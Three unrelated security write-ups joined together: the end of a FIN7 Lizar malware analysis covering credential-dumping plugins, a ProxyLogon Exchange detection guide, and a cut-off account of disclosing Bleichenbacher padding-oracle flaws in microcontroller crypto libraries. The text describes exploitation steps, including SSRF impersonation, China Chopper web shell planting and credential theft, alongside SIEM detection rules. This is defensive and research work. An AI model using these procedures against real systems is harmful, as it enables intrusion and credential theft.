powerkatz_full32.dll
powerkatz_full64.dll
powerkatz_short32.dll
powerkatz_short64.dll
NetSession32.dll/NetSession64.dll
The plugin is designed to retrieve information about all active network sessions on the infected server. For each session, the host address from which the connection is made can be retrieved, along with the name of the user initiating the connection.
The pseudocode of the function in which the information is received is shown in Fig. 29 and 30.
rat32.dll/rat64.dll
The plugin is a simplified version of the Carbanak toolkit bot. As we reported at the beginning of this article, this toolkit is heavily used by the FIN7 faction.
Screenshot32.dll/Screenshot64.dll
The plugin can take a JPEG screenshot on the infected system. The part of the function used to save the resulting image to the stream is shown below (Fig. 31).
The received stream is then sent to the loader to be sent to the server.
plugins from the plugins/extra directory
plugins from the plugins/extra directory are transferred from the client to the server, then from the server to the loader (on the infected system).
List of files in the plugins/extra directory:
ADRecon.ps1
GetHash32.dll
GetHash64.dll
GetPass32.dll
GetPass64.dll
powerkatz_full32.dll
powerkatz_full64.dll
powerkatz_short32.dll
powerkatz_short64.dll
PswInfoGrabber32.dll
PswInfoGrabber64.dll
PswRdInfo64.dll
ADRecon
The ADRecon.ps1 file is a tool for generating reports that contain information from Active Directory. Read more about ADRecon project on GitHub. Note that this plugin is not developed by FIN7, however, it is actively used by the group in its attacks.
GetHash32/GetHash64
The plugin is designed to retrieve user NTLM/LM hashes. The plugin is based on the code of the lsadump component from Mimikatz.
Fig. 32 shows a screenshot with pseudocode of exported Entry function (function names are chosen according to Mimikatz function names).
The return value of the Execute function (value of the g_outputBuffer variable) contains a pointer to the buffer with data resulting from the plugin's operation.
If the plugin fails to start with SYSTEM permissions, it will fill the buffer with the data shown in Fig. 33.
The contents of the buffer in this case are similar to the output of mimikatz when running the module lsadump::sam without SYSTEM permissions (Fig. 34).
If the plugin is run with SYSTEM permissions, it will put all the information the attacker is looking for into the buffer (Fig. 35).
The same data can be retrieved by running lsadump::sam from mimikatz with SYSTEM permissions (Fig. 36).
GetPass32/GetPass64
The plugin is designed to retrieve user passwords. It is based on the code of the sekurlsa component from Mimikatz. The pseudocode of the exported Entry function is shown in Fig. 37.
Based on the plugin’s results, we will see in the value of the g_outputBuffer variable a pointer to the data buffer that can be retrieved by executing the sekurlsa::logonpasswords command in Mimikatz (Fig. 38).
powerkatz_full32/powerkatz_full64
The plugin is a Mimikatz version compiled in the Second_Release_PowerShell configuration. This version can be loaded into the address space of a PowerShell process via reflective DLL loading as implemented in the Exfiltration module of PowerSploit.
Pseudocode of the exported powershell_reflective_mimikatz function (variable and function names in the decompiled output are changed to match the names of the corresponding variables and functions from Mimikatz):
The input parameter is used to pass a list of commands, separated by a space. The global variable outputBuffer is used to pass the result of the commands. The decompiled view of the wmain function is shown below:
powerkatz_short32/powerkatz_short64
The powerkatz_short plugin is a modified version of the standard powerkatz library described in the previous paragraph.
A list of powerkatz functions that are absent from powerkatz_short:
kuhl_m_acr_clean;
kuhl_m_busylight_clean;
kuhl_m_c_rpc_clean;
kuhl_m_c_rpc_init;
kuhl_m_c_service_clean;
kuhl_m_crypto_clean;
kuhl_m_crypto_init;
kuhl_m_kerberos_clean;
kuhl_m_kerberos_init;
kuhl_m_vault_clean;
kuhl_m_vault_init;
kull_m_busylight_devices_get;
kull_m_busylight_keepAliveThread.
PswInfoGrabber32.dll/PswInfoGrabber64.dll
The plugin can retrieve the following data:
browser history from Firefox, Google Chrome, Microsoft Edge and Internet Explorer;
usernames and passwords stored in the listed browsers;
email accounts from Microsoft Outlook and Mozilla Thunderbird.
The nss3.dll library is used to retrieve sensitive data from the Firefox browser and is loaded from the directory with the installed browser (Fig. 39).
Using the functions shown in Fig. 38, the credentials are retrieved from the logins.json file and the browser history is retrieved from the places.sqlite database.
In relation to Google Chrome, the plugin retrieves browser history from %LOCALAPPDATA%\Google\Chrome\User Data\Default\History and passwords from %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data (data encrypted using DPAPI).
History, places.sqlite, Login Data are all sqlite3 database files. To work with sqlite3 databases the plugin uses functions from the sqlite library, statically linked with the resulting DLL, i.e. the plugin itself.
For Internet Explorer and Microsoft Edge browsers, the plugin retrieves user credentials using functions from the vaultcli.dll library that implements the functions of the vaultcmd.exe utility.
PswRdInfo64.dll
PswRdInfo64.dll is designed primarily to collect domain credentials and retrieve credentials for accessing other hosts via RDP. The plugin is activated from the client application using the Grabber → RDP tab.
The workflow of the plugin depends on the following conditions.
When started from SYSTEM, the plugin lists all active console sessions (WTSGetActiveConsoleSessionId) and gets user names for these sessions:
The plugin then retrieves the private keys from the C:\Users\{SessionInformationUserName}AppData\Local\Microsoft\Credentials directory for each user and injects itself into the lsass.exe process to extract domain credentials.
When started by another user (other than SYSTEM), the plugin attempts to collect credentials for RDP access to other hosts. Credentials are collected using CredEnumerateW function, with the TERMSRV string as the target.
Conclusion
As the analysis shows, Lizar is a diverse and complex toolkit. It is currently still under active development and testing, yet it is already being widely used to control infected computers, mostly throughout the United States.
However, it seems that FIN7 are not looking to stop there, and we will soon be hearing about more Lizar-enabled attacks from around the world.
Microsoft Exchange is one of the most common mail servers used by hundreds of thousands of companies around the world. Its popularity and accessibility from the Internet make it an attractive target for attackers.
Since the end of 2020, we have recorded a sharp increase in the number of incidents related to the compromise of MS Exchange server and its various components, in particular OWA (Outlook Web Access). Given the MS Exchange’s 24-year history, the complexity of its architecture, its location on the perimeter, and the increased interest in it among security researchers, we can assume that the number of vulnerabilities found in the popular mail server will only increase over time. This is evidenced by the recent discovery by DEVCORE researchers of a chain of critical vulnerabilities known collectively as ProxyLogon.
All this led us to write a series of articles that will focus on MS Exchange security: server attacks and detection techniques.
In the first article in the series, we will take a brief look at the MS Exchange server architecture and move on to the most relevant topic for everyone, i.e. detecting the exploitation of ProxyLogon. We will show how to use standard operating system events and Exchange logs to detect ProxyLogon, both in real time, using proactive threat hunting approaches, and attacks that have already happened in the past.
MS Exchange Architecture and Primary Attack Vectors
The main components of the MS Exchange server and the links between them are shown in the diagram below.
Depending on the version, MS Exchange may have the following roles:
Mailbox server.
A Client Access server, which is a frontend service that proxies client requests to the backend servers.
Transport, which is responsible for managing mail traffic.
Unified Messaging, which allows voice messaging and other telephony features (the role is not available on version 2019 servers).
Management role, which is concerned with administration and flexible configuration of MS Exchange components.
Table 1. Basic protocols used by MS Exchange
The main components of Exchange and their brief descriptions are given below:
Outlook Web Access (OWA) — a web interface for mailbox access and management (read/send/delete mail, edit calendar, etc.).
Exchange Control Panel (ECP) — a web interface to administer Exchange components: manage mailboxes, create various policies to manage mail traffic, connect new mail servers, etc.
Autodiscover — a service that allows customers to retrieve information about the location of various Exchange server components such as the URL for the EWS service. A user needs to be authenticated before the information can be retrieved.
Exchange Web Services (EWS) — an API to provide various applications with access to mailbox components.
Exchange ActiveSync (EAS) — a service that allows mobile device users to access and manage their email, calendar, contacts, tasks, etc. without an internet connection.
RPC — a client access service that uses the RPC protocol, which runs on top of HTTP.
Offline Address Book (OAB) — an offline address book service on the Exchange server that allows Outlook users to cache the contents of the Global Address List (GAL) and access it even when not connected to Exchange.
All of the components described above function as applications on the Microsoft IIS web server.
Attackers typically target MS Exchange servers for the following purposes:
to gain access to confidential information in corporate emails
to launch a malicious mailing from the victim company’s addresses to infiltrate the infrastructure of another organisation
to compromise user accounts with the the use of Exchange components (successful bruteforce attack or detection of credentials in email correspondence) to infiltrate the company’s network via one of the corporate services
to gain foothold into the company network (e.g. by using a web shell on the OWA service)
to escalate privileges in the domain by using the Exchange server
to disable the Exchange server in order to disrupt internal business processes (e.g. by fully encrypting server data)
Logs and Useful Events
The source events listed in Table 2 will be useful for detecting various attacks against the MS Exchange server.
Table 2. Event source profile
ProxyLogon Vulnerabilities
On 2 March 2021, Microsoft released security updates for a number of critical MS Exchange server vulnerabilities. The updates included a chain of critical vulnerabilities CVE-2021–26857, CVE-2021–26855, CVE-2021–26858, CVE-2021–27065, commonly referred to as ProxyLogon. After security updates were released and the first articles about these vulnerabilities were published, cyberattacks that exploited these vulnerabilities started being detected all over the world. Most of the attacks were aimed at uploading the initial web shell to the server to develop the attack in the future. While US companies took the brunt of the attack, we also recorded a number of similar attacks targeting our customers in Russia and Asia.
Let us take a closer look at the ProxyLogon vulnerability chain. CVE-2021–26857 is not actually part of this chain, as it leads to code execution on the server and does not require other vulnerabilities to be exploited beforehand. Vulnerability CVE-2021–26857 is related to insecure data deserialisation in the Unified Messaging service. Exploiting this vulnerability requires that the Unified Messaging role be installed and configured on the Exchange server. As this role is rarely used, no exploitation of this vulnerability has been reported so far. Instead, attackers exploit the CVE-2021–26855, CVE-2021–26858 and CVE-2021–27065 vulnerability chain, which also allows remote arbitrary code execution on the mail server but is easier to exploit.
ProxyLogon is the name of CVE-2021–26855 (SSRF) vulnerability that allows an external attacker to bypass the MS Exchange authentication mechanism and impersonate any user. By forging a server-side request, an attacker can send an arbitrary HTTP request that will be redirected to another internal service on behalf of the mail server computer account. To exploit the vulnerability, the attacker must generate a special POST request for a static file in a directory which is readable without authentication, such as /ecp/x.js, where the presence of the file in the directory is not required. The body of the POST request will also be redirected to the service specified in the cookie named X-BEResource.
An attacker using ProxyLogon can impersonate, for example, an administrator and authenticate into the Exchange Control Panel (ECP) and then overwrite any file on the system using the CVE-2021–26858 or CVE-2021–27065 vulnerabilities.
The greatest effect of overwriting files is achieved by creating a web shell in publicly accessible directories. To create a web shell, an attacker exploits a vulnerability in the built-in virtual directory mechanism. When creating a new virtual directory (for example, for an OAB service) an attacker can specify an address that includes a simple web shell as its external address. The attacker must then reset the virtual directory and specify the path to a file on the server where the current virtual directory settings should be saved as a backup. After resetting, the file to which the virtual directory backup will be saved will contain the web shell specified in the previous step.
Once the chain of vulnerabilities have been exploited, an attacker is able to execute commands through a web shell on the Exchange server with the privileges of the account that is used to run the application pool on the IIS server (NT AUTHORITY\SYSTEM by default). In order to exploit the vulnerability chain successfully, an attacker must have network access on port 443 to MS Exchange with Client Access role installed and know the email account name of a user with administrative privileges.
Detection of CVE-2021–26855 Vulnerability
The CVE-2021–26855 vulnerability allows an external attacker to send an arbitrary HTTP request that will be redirected to the specified internal service from the mail server computer account. In this way, the vulnerability allows the attacker to bypass the authentication mechanism of the Exchange server and perform the request with the highest privileges.
Since the attacker can specify the service to which an arbitrary HTTP request is to be redirected, this SSRF vulnerability can be exploited in different ways. Let us look at two ways to exploit this vulnerability: reading emails via EWS and downloading web shells via ECP (CVE-2021–26858 and CVE-2021–27065).
CVE-2021–26855 makes it easy to download any user’s email, just by knowing their email address. The exploitation requires at least two MS Exchange servers in the attacked infrastructure. For example, the request is sent to exchange.lab.local and from there it is redirected via SSRF to exchange02.lab.local. The screenshot below shows an example of this request to the EWS API using a SOAP request to get the last 10 emails from the [email protected] mailbox. The response from the server contains email IDs and other information about the emails (e.g. header or date received).
The attacker can retrieve the original email message by inserting its identifier into another SOAP request.
The response from the server will contain a base64 representation of the original email message.
In this way, all emails from any given email account can be downloaded from the server without authentication. Email is often used to transmit sensitive information such as payment orders, configuration files, credentials or instructions for connecting to VPN servers, etc. Attackers can use the information obtained from compromised email correspondence for phishing mailings and other cybercrimes. This attack vector is no less dangerous than downloading a web shell to a server.
Such requests are logged by EWS. Accordingly, a rule to detect the described attack might look like this:
event_log_source:'EWS' AND AuthenticatedUser end with:'$' AND SoapAction IS NOT NULL AND UserAgent contains:'ExchangeWebServicesProxy/CrossSite/' AND NOT (SoapAction = 'GetUserOofSettings')
The second way to exploit the SSRF vulnerability is by authenticating into the ECP and then exploiting the CVE-2021–26858/CVE-2021–27065 vulnerabilities to upload the web shell to the server. In order to make requests to the ECP, a full session must be established in the ECP. For the attacker to impersonate an administrator when setting up a session, they need to know the SID of the mail server administrator’s account.
First of all, from the response to the NTLM request to /rpc/rpcproxy.dll, an attacker can find out the FQDN of the mail server, which will be needed in the following stages: it will be specified in the NTLM response to be decoded.
The next step is to obtain the LegacyDN and the email account ID by making an HTTP request to Autodiscover. The FQDN of the mail server obtained in the previous step is specified in a cookie named X-BEResource.
The attacker can then retrieve the SID of the targeted user by sending an HTTP request to MAPI. The attacker sends a request to delegate access to the email account. This request is also forwarded to MAPI on behalf of the computer account user and causes an access error. The error contains the SID of the targeted user.
Finally, having obtained the user’s SID, the attacker can authenticate themselves on the server by posing as the administrator by sending a specially crafted POST request to /ecp/proxyLogon.ecp.
The request includes a header named msExchLogonMailBox with the SID of the user to be authenticated. The body of the POST request also contains the SID of that user. In response, the server returns two cookies named ASP.NET_SessionId and msExchEcpCanary that the attacker can use for any future ECP requests. Obtaining these cookies is the end result of the attacker exploiting the ProxyLogon vulnerability (CVE-2021-26855) if they plan to exploit CVE-2021-26858 and CVE-2021-27065 to upload a web shell to the server.
Such requests are logged in the IIS log. Accordingly, a rule to detect this activity can be as follows:
event_log_source:'IIS' AND cs-method:'POST' AND cs-uri-stem:'/ecp/proxyLogon.ecp' AND cs-username end with:'$'
Detection of CVE-2021–26858, CVE-2021–27065 Vulnerabilities
Successful exploitation of CVE-2021–27065 allows a malicious file to be uploaded to an Exchange server using the ECP interface, which can then be used as a web shell. Exploitation of this vulnerability requires pre-authentication, which can be performed using CVE-2021–26855. Let us take a closer look at the exploitation of CVE-2021–27065.
We start by logging into the ECP interface and going to Servers → Virtual directories. Editing the virtual directories allows the Exchange application to migrate by changing the current application directory to IIS.
By navigating to the OAB (Default Web Site) edit box in the External URL, an attacker can insert a web shell code, e.g. China Chopper:
After setting the new virtual directory configuration parameters, the following event may be seen in the MSExchange Management log:
The following rule can be implemented to detect such activity:
event_log_source:('PowershellAudit' OR 'MSExchangeCMDExec') AND event_id:('1' OR ’800’ OR '4104') AND (Message contains ‘Set-’ AND Message contains ‘VirtualDirectory AND Message contains ‘-ExternalUrl’ AND Message contains ‘script’)
The next step resets the virtual directory settings. In the interface that appears, we see that before resetting we are prompted to save the current virtual directory settings to a selected file:
After resetting the virtual directory in the MSExchange Management log we can see two events with EventID 1 where first the Remove-OabVirtualDirectory command is used, which is followed by the New-OabVirtualDirectory command in the next event. These events can be used as additional indicators in case the rule described above is triggered.
Let us save the configuration as test.aspx file in C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\ecp\auth. In the IIS ECP events, we can see an event telling us that the settings for the application virtual directory have been reset. Example of the event:
The following rule detects attempts to reset virtual directories based on IIS log events:
event_log_source:’IIS’ AND http_method:’POST’ AND http_code:'200' AND url_path:'/ecp/DDI/DDIService.svc/SetObject' AND (Message contains 'schema=Reset' AND Message contains 'VirtualDirectory')
When exploiting this vulnerability with CVE-2021–26858, an SSRF attack is used to manipulate virtual directories. For this reason, the Username field will contain the computer account, in our case lab.local\EXCHANGE$, as the request is initiated by the Exchange server itself. Given this fact, another rule can be implemented:
event_log_source:’IIS’ AND http_method:’POST’ AND http_code:'200' AND url_path:'/ecp/DDI/DDIService.svc/SetObject' AND (Message contains 'schema=Reset' AND Message contains 'VirtualDirectory') AND Username contains '$'
The contents of the test.aspx configuration file can be seen in the screenshot below, where the ExternalUrl parameter contains the specified China Chopper.
Let us try to execute the command using the downloaded web shell. With Burp Suite we specify the command of interest in the POST parameter a. The result of the command is added to the response from the server, followed by the contents of the configuration file.
If we look at the start events of the processes, we can see the execution of our command in the IIS work process, which runs the cmd.exe command line interpreter with the corresponding arguments.
By supplementing the detection logic with the PowerShell interpreter, we get the following rule:
event_log_source:'Security' AND event_id:'4688' AND proc_parent_file_path end with:'\w3wp.exe' AND proc_file_path end with:('\cmd.exe' OR '\powershell.exe')
Detection of this activity will be described in more detail in one of our upcoming articles.
In practice, this CVE was used as a payload after authentication was bypassed using the CVE-2021–26855 vulnerability.
The CVE-2021–26858 vulnerability also allows writing an arbitrary file to an Exchange server, but requires pre-authentication for successful exploitation. This vulnerability can also be used in conjunction with SSRF (CVE-2021–26858).
There are no publicly available PoCs or other sources detailing its exploitation. Nevertheless, Microsoft has reported how this activity can be detected. To do so, we implement the following rule using events from the OAB Generator service:
event_log_source:'OABGenerator' AND Message contains 'Download failed and temporary file'
Files must only be uploaded to the %PROGRAMFILES%\Microsoft\Exchange Server\V15\ClientAccess\OAB\Temp directory, writing the file to any other directory is considered illegitimate.
Detection of CVE-2021–26857 Vulnerability
CVE-2021–26857 is an insecure deserialisation vulnerability in a Unified Messaging service.
Unified Messaging allows voice messaging and other features, including Outlook Voice Access and Call Answering Rules. The service must be preconfigured for it to work properly, and is rarely used. For this reason, attackers more often exploit CVE-2021–27065 in real-world attacks.
The problem is contained in the Base64Deserialize method of the CommonUtil class, and the class itself in the Microsoft.Exchange.UM.UMCommon namespace of the Microsoft.Exchange.UM.UMCommon.dll library.
This method is called upon in the main library of the Unified Messaging service — Microsoft.Exchange.UM.UMCore.dll, more specifically within the method FromHeaderFile, classed as PipelineContext with namespaces Microsoft.Exchange.UM.UMCore. This way, the attacker can generate their serialised object, for example using the ysoserial.net utility, and remotely execute their code on the Exchange server in the SYSTEM context.
The new version of the Microsoft.Exchange.UM.UMCore.dll library (after installing the update) has many additional checks on the incoming object types before the deserialisation process. As you can see in the screenshot below, the library is loaded into the UMWorkerProcess.exe process. Consequently, if the vulnerability is exploited, this process will initiate abnormal activity.
A rule to detect suspicious child processes being started by UMWorkerProcess.exe (cmd/powershell start, by Security and Sysmon log events):
event_log_source:'Security' AND event_id:'4688' AND proc_parent_file_path end with:'\UMWorkerProcess.exe' AND proc_file_path end with:('\cmd.exe' OR '\powershell.exe')
A malicious file may be created as a payload on the file system, such as a reverse shell in the autostart directory or a web shell in one of the IIS directories. The following rule can be implemented to detect this activity:
event_log_source:’Sysmon’ AND event_id:'11' AND proc_file_path end with:'\UMWorkerProcess.exe' AND file_name end with:(*.asp OR *.aspx) AND file_path contains:("\ClientAccess\Owa\" OR "\HttpProxy\Owa\" OR "\inetpub\wwwroot\" OR "\www\")
Conclusion
According to Microsoft, at the time of writing about 92% of MS Exchange servers have already been patched and are no longer vulnerable to ProxyLogon. Those who haven’t yet installed the patches should do so as a matter of urgency.
Even if the servers are already patched it is worth checking them for signs of ProxyLogon exploitation and repair the consequences if needed. This is quite easy to do with the standard operating system and Exchange server log events at hand.
Discovering new vulnerabilities in the Exchange server and new attacks are just a matter of time, so it is important to not only protect your mail servers properly, but also to collect and monitor important security events in advance.
We hope you have enjoyed our first article in this series. In the next article, we will explore how to detect the exploitation of other notorious MS Exchange vulnerabilities.
How long can it take to register a vulnerability? We are quite used to bug bounties, where most of the time you just have to wait for the company in question to triage your report, and that’s it, now you have a CVE. However, if the company doesn’t have an established framework for submitting security issues, then all your attempts can be met with a lack of understanding and sometimes even pushback. This is a story of how I discovered two similar vulnerabilities in cryptographic libraries for embedded devices and how it took two years to get them registered. If you don’t care about the story and just want to see PoC description, check out the chapter below.
Intro
In 2018, we at BI.ZONE were preparing CTFZone Finals (held offline) that were meant to coincide with the OFFZONE conference. We really wanted to spice up the competition, so we decided to host the PWN challenge on actual hardware. Since this was an Attack-Defense CTF (that’s where teams are given identical services to host and protect, and all the teams try to steal flags from each other), we could give each team a custom circuit board with the CTFZone logo. The circuit board had dual purpose: a somewhat unusual task and a piece of memorabilia. At the start of the project, when the deadlines were still far ahead, we imagined a design, where the board would host two chips: one containing the core logic and one just for authentication. The attackers would be able to upload their malicious code to the core chip’s memory by leveraging the embedded vulnerabilities, but it was impossible to break into the authentication chip. This way we could prevent the attacking team from simply cloning the defending team’s device once and being able to emulate it later. Instead they would have to interact with the authentication chip on the target device in order to get the flag for each round. Such mechanisms require cryptographic solutions. Thankfully (or so I thought), ST (we were going to use STM chips for both microcontrollers) provided a precompiled cryptographic library for its devices that is called STM32 cryptographic firmware library software expansion for STM32Cube (X-CUBE-CRYPTOLIB).
So I downloaded the documentation and started scrolling through the provided algorithms. I came across the descriptions of various Elliptic Curve Cryptography Primitives and was nearing SHA-1, which I wanted to try out to check if the API was working at all, but then something utterly disturbing caught my eye when skimming the RSA chapter. The firmware library contained four exported functions that you can see in the following table.
This was in 2018, and at the time I thought that PKCS#1v1.5 had already died out, since the specification contains a vulnerability. The discovery of this led to the realization that faulty legacy implementations can still be found in the wild. Let’s look into the reasons why PKCS#1v1.5 must not be used, and then get back to the disclosure chronology.
PKCS#1v1.5
PKCS#1 is the RSA Cryptography Standard. It defines the primitives and schemes for using the RSA algorithm for public-key cryptography. Its current version is 2.2, but the version used in the X-CUBE-CRYPTOLIB is 1.5. This version of the specification is infamous for introducing a critical vulnerability into the encryption / decryption process. However, to understand it in full we must first cover the inner workings of RSA and what is inside PKCS#1.
Basic RSA
The RSA primitive relies on the hard problem of factorizing a product of two large prime numbers. Imagine Bob wants to send Alice a message that only she would be able to read. They decide on the following algorithm (all the formulas will follow the list, since medium can’t handle Latex):
Alice randomly picks two prime numbers (p and q) of predefined length (for example, 1024 bits).
Alice computes their product N (the modulus).
Alice takes the predefined public exponent e. The most common value is 65537, because it has just 2 bits set. In the past 3 and 17 have also been used, but they are not guaranteed to wrap the modulus during exponentiation.
Alice computes private exponent d. Now (d, N) is Alice’s private key and (e, N) is Alice’s public key.
Alice sends her public key to Bob.
Bob converts the message M which he wants to send to Alice into a number m less than N. He exponentiates the number to e modulo N and sends the result to Alice.
Alice takes the result, exponentiates it to d modulo N and gets the initial m as a result, which she then converts back into M ! On a side note, since Medium does not support Latex, some exponents are expressed in brackets using the ^ symbol. N=p∗q, where p, q are prime e∗d = 1(mod (p-1)∗(q-1)) ∀m ≠ 0: m ^(e∗ d) (mod N)=m^(1+k∗(p−1)∗(q−1)) (mod N)=m (mod N), where k∈ N
RSA teething problems
RSA has several problems. For example, you can’t just pick any two prime numbers to compute the modulus, they need to fulfill certain requirements. Otherwise, the primitive becomes unsafe. And even if you’ve picked the perfect p and q, you’d still be left with some issues. We’ll use the following notation from now on: m stands for plaintext (message) and c stands for ciphertext.
First, what if instead of using 65537 as the public exponent, you pick a smaller one such as 3? If p and q are both 1024 bits, then the modulus is 2048 bits or 256 bytes. If the message Bob wants to send to Alice is less or equal to
⌊256/3⌋=85
then the result of the exponentiation operations doesn’t overflow the modulus. In which case decrypting the ciphertext is easy, you just need to take its third root.
Second, if Bob is repeating certain messages, then they encrypt to the same ciphertext and as a result an adversary performing a Man-in-the-Middle attack can extract partial information about the messages: the fact that at particular points in time Bob sent the same messages.
Specification
To address these issues, RSA (as in the company) created a specification that became PKCS#1 v1.5 (Public Key Cryptography Standards). The specification introduces formatting for encrypted (or signed) blocks (effectively, a special padding). This padding is used before the whole block is encrypted. Let’s say the length of modulus N in octets (bytes) is equal to k. The data we want to encrypt/sign is D. Then the encryption block is:
EB = 00 || BT || PS || 00 || D
where BT is 00 or 01 for private-key operations (signing) and 02 is for public-key operations (encryption). The encryption block is translated to integer using big-endian conversion (the first octet of EB is the most significant one) PS consists of k-3-len(D) octets. Its contents depend on BT:
BT=00, all octets in PS are set to 00
BT=01, all octets in PS are set to FF
BT=02, all octets in PS are pseudorandomly generated and not equal to 00
It is recommended to use BT=01 for signatures and BT=02 for encryption, since
With BT=01, D can be unpadded regardless of its contents, with BT=00 the first byte of D, which is equal to 00, will also be unpadded, thereby creating a problem.
Both BT=01 and BT=02 create large integers for encryption, so all attacks requiring a small (short) D don’t work
You can also notice, that the first octet of EB is 00. This value was chosen so that the integer resulting from EB is always less than the modulus N.
At first glance, this scheme seems pretty reliable and it obviously solves the problems mentioned earlier.
Bleichenbacher’s Padding Oracle Attack
Unfortunately, not all is well and good with PKCS#1v1.5, or I would not be sitting here writing this article. The following attack is 22 years old.
Now, let’s think back to Alice and imagine that she has already created the key pair and sent Bob the public key, but now Bob and Alice are using PKCS#1v1.5 padding in their encrypted messages. What happens when you send Alice a ciphertext?
Alice decrypts the ciphertext with the RSA primitive.
Alice unpads the message.
Alice parses the message and performs actions based on the message.
Various programs and systems (Alice in this analogy) tend to signal to the sender (Bob), that something has gone wrong if there is a problem with receiving commands. The issue is that these signals quite often show exactly where the problem has arisen: during the second stage (padding is incorrect) or the third stage (something wrong with the command itself). Usually, discerning stages two and three is only possible with a private key, so when Alice tells us whether unpadding failed or succeeded, she actually leaks information about the plaintext.
As a thought experiment, what if we send a random integer c for decryption instead of a legitimate message? What is the probability that no error will surface during unpadding? The first 2 octets of EB should be 00 || 02, the other octets should have at least one 00. If k is 256, then P=1/256² ∙ (1 — (255/256²⁵⁴))≈1/104031. The probability seems way too small, but it is actually high enough to be leveraged in an attack. The attack uses the fact that RSA is homomorphic with regards to multiplication:
∀x: (x∗m)ᵉ (mod N)=xᵉ∗mᵉ (mod N)
Here is how the attack unfolds. We choose the c, for which we want to find
m=cᵈ mod N
For the sake of convenience, we’ll use the following constants in further explanation
B=2^(8(k-2)), k=∣∣N∣∣.
We say that ciphertext is PKCS-conforming if it decrypts to a PKCS conforming plaintext. Basically, we choose integers s, compute
c′=csᵉ modN
and send them to the oracle (Alice). If c′ passes the error check, then
2B ⪯ ms mod N≺ 3B.
By collecting enough different s we can derive m, this typically requires around 2²⁰ ciphertexts, but this number varies widely. The attack can be divided into three phases:
Blinding the ciphertext, creating cₒ, that corresponds to unknown mₒ
Finding small sᵢ, such that mₒsᵢ mod N is PKCS-conforming. For every such sᵢ the attacker computes intervals that must contain mₒ using previously known information
Starts when only one interval remains. The attacker has sufficient information about mₒ to choose sᵢ such that mₒsᵢ mod N is more likely to be PKCS conforming than a randomly chosen message. The size of sᵢ is increased gradually, narrowing the possible range of mₒ until only one possible value remains.
(Actually, when the interval is small enough, it is more efficient to just bruteforce the values locally than continue submitting queries to the oracle).
So, the model of the attack is:
Intercept some message from Bob to Alice.
Use Alice as a padding oracle to decrypt the message.
Back to disclosure
Since I found this vulnerability in one software library for microcontrollers, I decided to check if there are any other libraries that provide this specification as the default method for RSA encryption/decryption. Turns out, ST is not the only company. Microchip also provides a library that contains cryptographic primitives and lo and behold — the only encryption scheme for RSA is once again PKCS#1v1.5. Here is an excerpt from the RSA decryption function:
Here, the order of bytes in memory is inversed, so we actually check that the plaintext ends with 0200 instead of starting with 0002. Anyway, we can see that the function returns a different status when the padding is incorrect and this is what makes it dangerous.
So it was time to alert the manufacturers. I submitted the descriptions to ST and Microchip in September of 2018 and started the waiting game.
In the beginning ST was quite responsive, but there was some miscommunication. Part of it was on me, since I initally wrote that the fault was in STM32-CRYP-LIB (another cryptographic library provided by ST) instead of X-CUBE-CRYPTOLIB (and the problem is that STM32-CRYP-LIB doesn’t provide encryption/decryption primitives for RSA, only signing/verification). There was also the regular pushback associated with Bleichenbacher’s padding oracle in libraries, namely, that it doesn’t necessarily mean that the end product will contain a vulnerability, but they agreed that it is hard to mitigate this problem once you’ve chosen to use PKCS#1v1.5. In October I was told that they have started work on implementing PKCS#1v2.2. I emphasised the need for a CVE to alert users, but their next responce came only in December:
They didn’t want to register a CVE, because they just followed the specification and the library itself didn’t return any padding errors (this is just partially true)
They were developing PKCS#1v2.2 (a newer specification with safer padding) and were going to publish it with a new version of X-CUBE-CRYPTOLIB in the spring.
I tried to change their mind on registering a CVE, but in the end couldn’t.
I submitted the issue to Microchip in September. The Development team only got back to me with a “solution” to my problem in March of 2019. They advised me to use Microchip Harmony (their Embedded Software Development Framework) instead of Microchip Libraries for Applications package. I must admit that it is indeed a valid solution, since Harmony contains more modern specifications that can be used instead of the vulnerable one. However, there still was a need to alert users about the pitfalls of using RSA in Microchip Libraries for Applications and it took almost 6 months for them to respond to my initial request, so I decided to take a different route.
MITRE requires you to try every possible method for registering a CVE before applying directly to them. By March of 2019, I tried to contact the vendors, but that didn’t help with the registration. After that the vulnerabilities is supposed to be submitted to one of the CVE Numbering Authorities, but none except MITRE were in fact relevant. However, HackerOne is actually a CNA and they have a program called “The Internet”. To qualify for it you have to either find a vulnerablity in some widely-used open-source project, or the vulnerability should affect several vendors (which is my case). However, now, there was a need for a Proof-of-Concept (PoC). So, I set out to create just that.
Proof of Concepts
General information
Since these libraries are aimed at embedded devices, using them on a regular PC with amd64 architecture comes with certain limits. The worst of them is the speed of computation.
The MLA is distributed as source code, but the actual bigint computations are implemented in PIC architecture assembly. I had to rewrite them to amd64 architecture, but suffered a slowdown, since the procedures in C code relied of 16-bit computations in assembly routines. This makes RSA quite slow, even though it is executed “natively”. It can take up to several days to complete the attack. On a device it would take significantly less.
X-CUBE-CRYPTOLIB is distributed in compiled format. To use it on a PC, I had to emulate the firmware with QEMU. Obviously, it is a significant obstacle for time. What makes it even worse is that the only available interface to transport the data is emulated UART, which is painfully slow (it takes 2 minutes to transmit 256 bytes). To deal with the interface problem, I’ve implemented a debug hook (so QEMU is running with debugging) that transfers data to and from memory. This allows us to avoid at least the transmission emulation bottleneck.
Still in these conditions the attack is quite slow. So I implemented two versions of the attack for both platforms to save the tester’s time:
The full attack (will take a long time on MLA, an absurdly long time on ST)
The attack with precalculated successful steps
The second variant is basically running the algorithm beforehand with a python server which performs the same checks as the vulnerable library. It saves all the steps which produce the correct decryption outcome (these steps allow the attacker to narrow the plaintext space). The attacker only tries these with the vulnerable implementation later (thereby skipping most of painful bruteforce).
It’s also worth noting that the X-CUBE-CRYPTOLIB library is protected against being used on non-ST devices (the check is performed by writing and reading bits from specific memory registers). You can see them in the picture on the left (MEMORY accesses). QEMU fails this check, but fortunately instead of refusing to decrypt/encrypt data the routines just mask data during encryption and give back more data (including some of the random padding) during decryption. The mask can be rolled back as long as the plaintext contains only ASCII-7 characters, since all of them are less than 128. So, the unmasking function also had to be implemented to use the library with QEMU.
There was only one change made to the MLA library: implementing bigint arithmetic in intel assembly instead of PIC.
There were no changes made to the ST library.
What follows are instructions on how to reproduce the issues (on Linux).
To use RSA, we first need to generate a private key. The private key will be used to create the speedup trace and it will be used by the vulnerable servers.
Unpack the archive “Bleichenbacher_on_microcontrollers.tar.gz” (available here). Go to subfolder “Preparation”.
List of files in “Preparation”:
requirements.txt (file with python requirements for “create_traces_and_imports.py” and python attack clients)
